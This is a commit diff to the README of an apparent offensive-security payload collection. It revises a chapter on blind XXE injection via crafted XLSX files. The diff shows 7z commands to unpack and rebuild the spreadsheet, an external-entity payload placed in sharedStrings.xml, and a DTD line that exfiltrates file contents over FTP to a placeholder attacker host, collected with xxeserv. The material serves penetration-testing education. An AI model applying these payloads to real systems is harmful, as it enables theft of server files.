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Update XXE Injection

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Slight QOL improvements for the recent changes of the chapter `XXE inside XLSX file`
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Markus 2021-10-18 10:13:30 +02:00 committed by GitHub
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XXE Injection/README.md
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@ -507,20 +507,7 @@ Structure of the XLSX:
``` ```
$ 7z l xxe.xlsx $ 7z l xxe.xlsx
[...]
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)
Scanning the drive for archives:
1 file, 4758 bytes (5 KiB)
Listing archive: xxe.xlsx
--
Path = xxe.xlsx
Type = zip
Physical Size = 4758
Date Time Attr Size Compressed Name Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------ ------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 ..... 578 223 _rels/.rels 2021-10-17 15:19:00 ..... 578 223 _rels/.rels
@ -536,10 +523,13 @@ Physical Size = 4758
2021-10-17 15:19:00 11216 3586 9 files 2021-10-17 15:19:00 11216 3586 9 files
``` ```
Extract the excel file. Extract Excel file: `7z x -oXXE xxe.xlsx`
Rebuild Excel file:
``` ```
$ 7z x -oXXE xxe.xlsx $ cd XXE
$ 7z u ../xxe.xlsx *
``` ```
Add your blind XXE payload inside `xl/workbook.xml`. Add your blind XXE payload inside `xl/workbook.xml`.
@ -559,13 +549,6 @@ Alternativly, add your payload in `xl/sharedStrings.xml`:
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
``` ```
Rebuild the Excel file.
```
$ cd XXE
$ 7z u ../xxe.xlsx *
```
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
Instead we build the document once and then change the DTD. Instead we build the document once and then change the DTD.
And using FTP instead of HTTP allows to retrieve much larger files. And using FTP instead of HTTP allows to retrieve much larger files.
@ -577,7 +560,7 @@ And using FTP instead of HTTP allows to retrieve much larger files.
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
``` ```
Start the FTP + HTTP server: Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv):
``` ```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000 $ xxeserv -o files.log -p 2121 -w -wd public -wp 8000